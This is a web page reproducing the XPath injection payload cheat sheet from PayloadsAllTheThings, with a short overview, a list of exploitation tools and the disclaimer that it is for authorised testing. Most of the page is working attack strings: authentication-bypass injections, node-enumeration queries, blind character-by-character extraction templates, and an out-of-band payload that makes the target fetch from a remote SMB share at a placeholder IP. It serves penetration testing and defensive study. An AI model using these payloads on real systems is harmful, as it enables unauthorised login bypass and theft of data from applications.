Browse / Payloads / XPATH Injection

XPATH Injection

5 passages of payloads and techniques. See also the 389 disclosed Injection and Smuggling reports.

Overview

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Source

Tools

orf/xcat - Automate XPath injection attacks to retrieve documents
feakk/xxxpwn - Advanced XPath Injection Tool
aayla-secura/xxxpwn_smart - A fork of xxxpwn using predictive text
micsoftvn/xpath-blind-explorer
Harshal35/XmlChor - Xpath injection exploitation tool

Source

Methodology

Similar to SQL injection, you want to terminate the query properly:

string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())

' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
')] | //user/*[contains(*,'
') and contains(../password,'c
') and starts-with(../password,'c

Source

Methodology > Blind Exploitation

Size of a string
```
and string-length(account)=SIZE_INT
```

Access a character with substring, and verify its value the codepoints-to-string function

substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Source

Methodology > Out Of Band Exploitation

http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')

Source

From PayloadsAllTheThings by Swissky and contributors, used under the MIT licence. Use it only on systems you are authorised to test.